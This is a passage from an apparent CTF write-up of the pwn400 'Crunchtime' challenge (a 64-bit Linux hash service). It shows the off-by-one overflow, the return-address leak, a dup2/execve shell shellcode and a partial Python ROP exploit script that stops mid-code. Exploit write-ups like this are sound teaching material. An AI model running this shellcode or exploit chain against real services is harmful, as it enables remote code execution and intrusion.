2013 CTF</a> for team SoSix (team created with my friend <a href="http://twitter.com/delroth_">@delroth</a>). </p> <p>Here is my writeup for the pwn400 challenge, called Crunchtime.<br/> Crunchtime is a linux elf64 binary which is an hash generating service.<br/> The binary offers 5 options :</p> <ul> <li>1 - AddString</li> <li>2 - PrintString</li> <li>3 - ComputeCRC</li> <li>4 - PrintCRC</li> <li>5 - Exit</li> </ul> <h3>Addstring</h3> <p>This option will ask the user to enter a string, save it in a mallocated buffer, and save the ptr into a pool of 0x64 (100) string table.<br/> If the user has entered more than 0x64 string, it will reset the counter of strings index to 0, and free the old string.</p> <h3>PrintString</h3> <p>This option asks the user which string number he wants, and print it. This function checks if the number &lt; 0xFF and print the string. Here is the first fail, we can leak some information but there are not really useful.</p> <h3>ComputeCRC</h3> <p>This option will generate CRC for all the strings entered by the user.</p> <h3>PrintCRC</h3> <p>This option will print all CRC computed and the string which is associated.</p> <h2>Vulnerability</h2> <p>When the user asks for a new string, a function &quot;CreateNewString&quot; (Offset : ImageBase + 0xEC0) is called, this function has the following stack frame :</p> <p><center><img src="/public/Crunchtime_stack_frame.png" alt="Crunchtime_stack_frame" /></center><br/></p> <p>But when the user is asked for a new string, it will read 0x221 bytes or read until finding 0x0A (&quot;\n&quot;).</p> <div class="ida"> <span style="white-space: pre; font-family: Lucida Console; color: #aaaaaa; background: #2d2d2d"><span style="color:#666666">.text:00007FFFF7FFDEE7 </span><span style="color:white">mov </span><span style="color:#73adad">edx</span><span style="color:#c0c0c0">, </span><span style="color:#d25032">221h </span><span style="color:#666666">.text:00007FFFF7FFDEEC </span><span style="color:white">mov </span><span style="color:#73adad">rsi</span><span style="color:#c0c0c0">, </span><span style="color:#73adad">rsp </span><span style="color:#666666">.text:00007FFFF7FFDEEF </span><span style="color:white">mov </span><span style="color:#73adad">edi</span><span style="color:#c0c0c0">, </span><span style="color:#73adad">ebp </span><span style="color:#ffc5f3">; fd </span><span style="color:#666666">.text:00007FFFF7FFDEF1 </span><span style="color:white">mov </span><span style="color:#73adad">cl</span><span style="color:#c0c0c0">, </span><span style="color:#d25032">0Ah </span><span style="color:#666666">.text:00007FFFF7FFDEF3 </span><span style="color:white">call </span><span style="color:#ffd200">ReadUntil </span></span> </div> <p>So we can overwrite the low byte of the return adress of this function, and the saved rbp rbx and rflags registers pushed before the call.<br/> We will have to find good gadget between return_address00 and return_adressFF, and if we look deeper the disassembly before the call fo &quot;CreateNewString&quot; :</p> <div class="ida"> <span style="white-space: pre; font-family: Lucida Console; color: #aaaaaa; background: #2d2d2d"><span style="color:#666666">.text:00007FFFF7FFDF4B </span><span style="color:white">push </span><span style="color:#73adad">rbx </span><span style="color:#666666">.text:00007FFFF7FFDF4C </span><span style="color:white">lea </span><span style="color:#73adad">rbx</span><span style="color:#c0c0c0">, [</span><span style="color:#73adad">rdx</span><span style="color:#c0c0c0">+</span><span style="color:#d25032">32h</span><span style="color:#c0c0c0">] </span><span style="color:#ffc5f3">; Counter </span><span style="color:#666666">.text:00007FFFF7FFDF50 </span><span style="color:white">mov </span><span style="color:#73adad">rcx</span><span style="color:#c0c0c0">, [</span><span style="color:#73adad">rsi</span><span style="color:#c0c0c0">+</span><span style="color:#73adad">rbx</span><span style="color:#c0c0c0">*8] </span><span style="color:#666666">.text:00007FFFF7FFDF54 </span><span style="color:white">test </span><span style="color:#73adad">rcx</span><span style="color:#c0c0c0">, </span><span style="color:#73adad">rcx </span><span style="color:#666666">.text:00007FFFF7FFDF57 </span><span style="color:white">jz </span><span style="color:#ababab">short </span><span style="color:#ffd200">loc_7FFFF7FFDF78 </span><span style="color:#666666">.text:00007FFFF7FFDF59 </span><span style="color:white">lea </span><span style="color:#73adad">rsi</span><span style="color:#c0c0c0">, </span><span style="color:#ebebb9">aFreeingStringD </span><span style="color:#666666">; &quot;freeing string %d: %s\n&quot; .text:00007FFFF7FFDF60 </span><span style="color:white">xor </span><span style="color:#73adad">eax</span><span style="color:#c0c0c0">, </span><span style="color:#73adad">eax </span><span style="color:#666666">.text:00007FFFF7FFDF62 </span><span style="color:white">call </span><span style="color:#ffd200">vaSendStrlen </span><span style="color:#666666">.text:00007FFFF7FFDF67 </span><span style="color:white">mov </span><span style="color:#73adad">rdi</span><span style="color:#c0c0c0">, [</span><span style="color:#73adad">r12</span><span style="color:#c0c0c0">+</span><span style="color:#73adad">rbx</span><span style="color:#c0c0c0">*8] </span><span style="color:#ffc5f3">; ptr </span><span style="color:#666666">.text:00007FFFF7FFDF6B </span><span style="color:white">call </span><span style="color:#ffd200">_free </span><span style="color:#666666">.text:00007FFFF7FFDF70 </span><span style="color:white">mov </span><span style="color:#ababab">qword ptr </span><span style="color:#c0c0c0">[</span><span style="color:#73adad">r12</span><span style="color:#c0c0c0">+</span><span style="color:#73adad">rbx</span><span style="color:#c0c0c0">*8], </span><span style="color:#d25032">0 </span><span style="color:#666666">.text:00007FFFF7FFDF78 .text:00007FFFF7FFDF78 </span><span style="color:#ffd200">loc_7FFFF7FFDF78</span><span style="color:#c0c0c0">: </span><span style="color:#ffaa7f">; CODE XREF: AddString+1Cj </span><span style="color:#666666">.text:00007FFFF7FFDF78 </span><span style="color:white">mov </span><span style="color:#73adad">edi</span><span style="color:#c0c0c0">, </span><span style="color:#73adad">r14d </span><span style="color:#ffc5f3">; fd </span><span style="color:#666666">.text:00007FFFF7FFDF7B </span><span style="color:white">call </span><span style="color:#ffd200">CreateNewString </span></span> </div> <p>We can see that before the call, we can find a push rbx (0x00007FFFF7FFDF4B), and we know that we can control rbx.<br/> So if we overwrite low byte of the return address with 0x4B, it will push a value on the stack, and ask us again to enter a string and re-trigger the vuln.<br/> Let's see an example :</p> <ul> <li>User ask for a new string</li> <li>User enter the string : &quot;A&quot; * 0x220 + &quot;\x4B&quot;</li> <li>Saved RBX = 0x4242424242424242</li> <li>Saved RBP = 0x4242424242424242</li> <li>Saved RFLAGS = 0x4242424242424242</li> <li>ReturnAddress low byte = 0x4B instead of in our case 0x80</li> <li>The value of our saved RBX will be pushed on the stack before calling CreateNewString</li> <li>User enters a new string : &quot;A&quot; * 0x200 + &quot;\xA1&quot; (0x00007FFFF7FFDFA1 == &quot;retn&quot;)</li> <li>ReturnAddress will point to a retn instruction, and then retn to our 0x4242424242424242</li> </ul> <p>Now we can control full of rip.</p> <pre><code>&gt; readelf -a ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep -A1 GNU_STACK GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 8 </code></pre> <p>The stack is not executable so we will have to do some ROP.<br/> But there is another problem :)</p> <pre><code>&gt; readelf -h ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep Type Type: DYN (Shared object file) </code></pre> <p>The binary is of type shared object, so each time it will be executed the BaseAddress will not be the same, so the address of our gadgets will change !<br/> We will have to find a way to leak information, especially one which help us to construct our rop payload.<br/> Here is the pseudo-code of the function &quot;CreateNewString&quot; :</p> <pre><code>size = ReadUntil(fd, buffer, 0x221, 0x0A); if (buffer[size] == 0x0A) buffer[size] = 0; memcpy(malloc(strlen(buffer)), buffer, strlen(buffer)); </code></pre> <p>If the buffer doesn't end with &quot;\n&quot;, no null byte will be put at the end of the new string, so when strlen will be called, it will go after the saved rbx, rbp, rflags, and stop at the return adress which contains a null byte in the high byte, so we can leak the return adress and we can know where our binary is loaded.<br/> Let's see with an example, for avoiding problems saved rflags are set to 0x0202020202020202 :</p> <pre><code>&gt; perl -e'print &quot;1\n&quot; . &quot;A&quot;x536 . &quot;\x02&quot;x8 . &quot;\x80&quot; . &quot;2\n0\n5\n&quot;' | nc localhost 10100 | hexdump -C 00000000 53 65 6c 65 63 74 20 61 6e 20 6f 70 74 69 6f 6e |Select an option| 00000010 3a 0a 20 20 31 2e 20 41 64 64 20 73 74 72 69 6e |:. 1. Add strin| 00000020 67 0a 20 20 32 2e 20 50 72 69 6e 74 20 73 74 72 |g. 2. Print str| 00000030 69 6e 67 0a 20 20 33 2e 20 47 65 6e 65 72 61 74 |ing. 3. Generat| 00000040 65 20 43 52 43 73 0a 20 20 34 2e 20 50 72 69 6e |e CRCs. 4. Prin| 00000050 74 20 43 52 43 73 0a 20 20 35 2e 20 45 78 69 74 |t CRCs. 5. Exit| 00000060 0a 4e 65 77 20 73 74 72 69 6e 67 3a 20 53 65 6c |.New string: Sel| 00000070 65 63 74 20 61 6e 20 6f 70 74 69 6f 6e 3a 0a 20 |ect an option:. | 00000080 20 31 2e 20 41 64 64 20 73 74 72 69 6e 67 0a 20 | 1. Add string. | 00000090 20 32 2e 20 50 72 69 6e 74 20 73 74 72 69 6e 67 | 2. Print string| 000000a0 0a 20 20 33 2e 20 47 65 6e 65 72 61 74 65 20 43 |. 3. Generate C| 000000b0 52 43 73 0a 20 20 34 2e 20 50 72 69 6e 74 20 43 |RCs. 4. Print C| 000000c0 52 43 73 0a 20 20 35 2e 20 45 78 69 74 0a 57 68 |RCs. 5. Exit.Wh| 000000d0 69 63 68 20 73 74 72 69 6e 67 20 6e 75 6d 62 65 |ich string numbe| 000000e0 72 20 64 6f 20 79 6f 75 20 77 61 6e 74 3f 0a 53 |r do you want?.S| 000000f0 74 72 69 6e 67 20 30 20 2d 20 41 41 41 41 41 41 |tring 0 - AAAAAA| 00000100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| * 00000310 41 41 02 02 02 02 02 02 02 02 80 9f 40 4e fa 7f |AA..........@N..| 00000320 0a 53 65 6c 65 63 74 20 61 6e 20 6f 70 74 69 6f |.Select an optio| 00000330 6e 3a 0a 20 20 31 2e 20 41 64 64 20 73 74 72 69 |n:. 1. Add stri| 00000340 6e 67 0a 20 20 32 2e 20 50 72 69 6e 74 20 73 74 |ng. 2. Print st| 00000350 72 69 6e 67 0a 20 20 33 2e 20 47 65 6e 65 72 61 |ring. 3. Genera| 00000360 74 65 20 43 52 43 73 0a 20 20 34 2e 20 50 72 69 |te CRCs. 4. Pri| 00000370 6e 74 20 43 52 43 73 0a 20 20 35 2e 20 45 78 69 |nt CRCs. 5. Exi| 00000380 74 0a |t.| 00000382 </code></pre> <p>As you can see after the repeated &quot;A&quot; we can see the return adress : 0x7ffa4e409f80.<br/> Now we are able to compute address of each gadgets with this leak, the rop payload is same as usual, we leak information from glibc, call mmap(RWX), recv into the new RWX zone and call it.<br/> Just a thing, the only way I found to set rsi to the value I want (rsi is used as buffer parameter for recv() and send()), is to jump into the middle of a function and use this gadget :</p> <pre><code>00007FFFF7FFE3F0 mov rsi, r12 </code></pre> <p>It calls recv() just after, so be careful.</p> <p>I didn't find any shellcode with dup2 and execve, so I wrote it :</p> <pre><code>; dup2(4, 2) ; dup2(4, 1) ; dup2(4, 0) ; execve(&quot;/bin/sh&quot;) push 0x04 pop rdi push 0x21 pop rax push 0x2 pop rsi syscall dec rsi push 0x21 pop rax syscall dec rsi push 0x21 pop rax syscall xor rdx, rdx mov rbx, 0x68732f6e69622fff shr rbx, 0x8 push rbx mov rdi, rsp xor rax, rax push rax push rdi mov rsi, rsp mov al, 0x3b syscall </code></pre> <h2>Exploit</h2> <pre><code><span class="kn">import</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="k">def</span> <span class="nf">leak_return_addr</span><span class="p">(</span><span class="n">s</span><span class="p">):</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">97</span><span class="p">)</span> <span class="c"># recv menu</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">&quot;1</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">12</span><span class="p">)</span> <span class="c"># recv new str</span> <span class="c"># [BUF] [RBX] [RBP] [EFLAGS] [RIP LOW BYTE]</span> <span class="n">buf</span> <span class="o">=</span> <span class="s">&quot;A&quot;</span> <span class="o">*</span> <span class="mi">520</span> <span class="o">+</span> <span class="s">&quot;A&quot;</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="s">&quot;A&quot;</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x02</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x80</span><span class="s">&quot;</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">97</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">&quot;2</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">33</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">&quot;0</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">562</span><span class="p">)</span> <span class="n">leak</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="o">-</span><span class="mi">7</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x00</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">2</span> <span class="n">addr_leak</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">leak</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="k">return</span> <span class="n">addr_leak</span> <span class="k">def</span> <span class="nf">stage1</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">addr_return</span><span class="p">,</span> <span class="n">fd</span><span class="p">):</span> <span class="n">gadgets</span> <span class="o">=</span> <span class="p">[</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x278</span><span class="p">),</span> <span class="c"># pop rdx; pop rbx; pop rbp; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x7E5</span><span class="p">),</span> <span class="c"># pop r12 ; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x2020a8</span><span class="p">),</span> <span class="c"># .got.plt send()</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x680</span><span class="p">),</span> <span class="c"># pop rcx; pop rbx; pop rbp; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x50D</span><span class="p">),</span> <span class="c"># pop r13; pop r14 ; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">fd</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x470</span><span class="p">),</span> <span class="c"># mov rsi, r12</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop r10</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop rbx</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop rbp</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop r12</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop r13</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">),</span> <span class="c"># xor eax, eax ; pop rdi ; retn</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">fd</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x278</span><span class="p">),</span> <span class="c"># pop rdx;pop rbx; poprbp;ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000008</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x680</span><span class="p">),</span> <span class="c"># pop rcx; pop rbx; pop rbp; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">-</span> <span class="mh">0x230</span><span class="p">),</span> <span class="c"># send()</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x50F</span><span class="p">),</span> <span class="c"># pop r14; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">fd</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">-</span> <span class="mh">0x8</span><span class="p">),</span> <span class="c"># re triger vuln</span> <span class="p">]</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">97</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">&quot;1</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">12</span><span class="p">)</span> <span class="c"># 00007FFFF7FFDF4B push rbx</span> <span class="c"># [ RBX ] [ RBP ] [ EFLAGS]</span> <span class="n">buf</span> <span class="o">=</span> <span class="s">&quot;A&quot;</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x00</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">519</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x4B</span><span class="s">&quot;</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="n">gadgets</span><span class="o">.</span><span class="n">reverse</span><span class="p">()</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">gadgets</span><span class="p">:</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">12</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s">&quot;A&quot;</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x00</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">519</span> <span class="o">+</span> <span class="n">i</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x4B</span><span class="s">&quot;</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="c"># 00007FFFF7FFDFA1 retn</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">12</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s">&quot;A&quot;</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\x00</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">519</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\xA1</span><span class="s">&quot;</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s">&quot;B&quot;</span><span class="p">)</span> <span class="n">leak_send</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="n">send_addr</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">leak_send</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="k">print</span> <span class="s">&quot;[+] Send() @ = &quot;</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">send_addr</span><span class="p">)</span> <span class="n">stage2</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">addr_return</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="n">send_addr</span><span class="p">)</span> <span class="k">def</span> <span class="nf">stage2</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">addr_return</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="n">send_addr</span><span class="p">):</span> <span class="n">gadgets</span> <span class="o">=</span> <span class="p">[</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x7E5</span><span class="p">),</span> <span class="c"># pop r12 ; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">),</span> <span class="c"># r12 = ....</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x680</span><span class="p">),</span> <span class="c"># pop rcx; pop rbx; pop rbp; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x50D</span><span class="p">),</span> <span class="c"># pop r13; pop r14 ; ret</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">fd</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x00000000000000000</span><span class="p">),</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="n">addr_return</span> <span class="o">+</span> <span class="mh">0x470</span><span class="p">),</span> <span class="c"># mov rsi, r12</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop r10</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop rbx</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">),</span> <span class="c"># pop rbp</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;Q&quot;</span><span class="p">,</span> <span 